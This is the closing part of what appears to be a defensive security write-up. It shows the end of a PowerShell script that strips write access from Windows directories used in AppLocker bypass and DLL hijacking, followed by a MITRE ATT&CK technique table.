21    $toRemove = $acl.Access | Where-Object {
22        $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -eq $user -and
23        ($_.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -ne 0
24    }
25
26    foreach ($rule in $toRemove) {
27        $acl.RemoveAccessRule($rule) | Out-Null
28        Write-Host "[+] removed write for Users: $dir"
29    }
30
31    Set-Acl -Path $dir -AclObject $acl
32}

Running this hardening script tightens the most commonly abused paths. Combine with WDAC for enforcement that doesn’t rely on ACL integrity.


MITRE ATT&CK

techniqueIDdescription
Hijack Execution FlowT1574Abusing DLL search order and writable paths
DLL Search Order HijackingT1574.001Dropping DLL in trusted app directory
MasqueradingT1036Naming payloads after legitimate Windows binaries
File System Permissions WeaknessT1574.010Exploiting overly-permissive ACLs in trusted paths
Defense Evasion via Trusted PathT1218Executing from AppLocker-whitelisted directory

References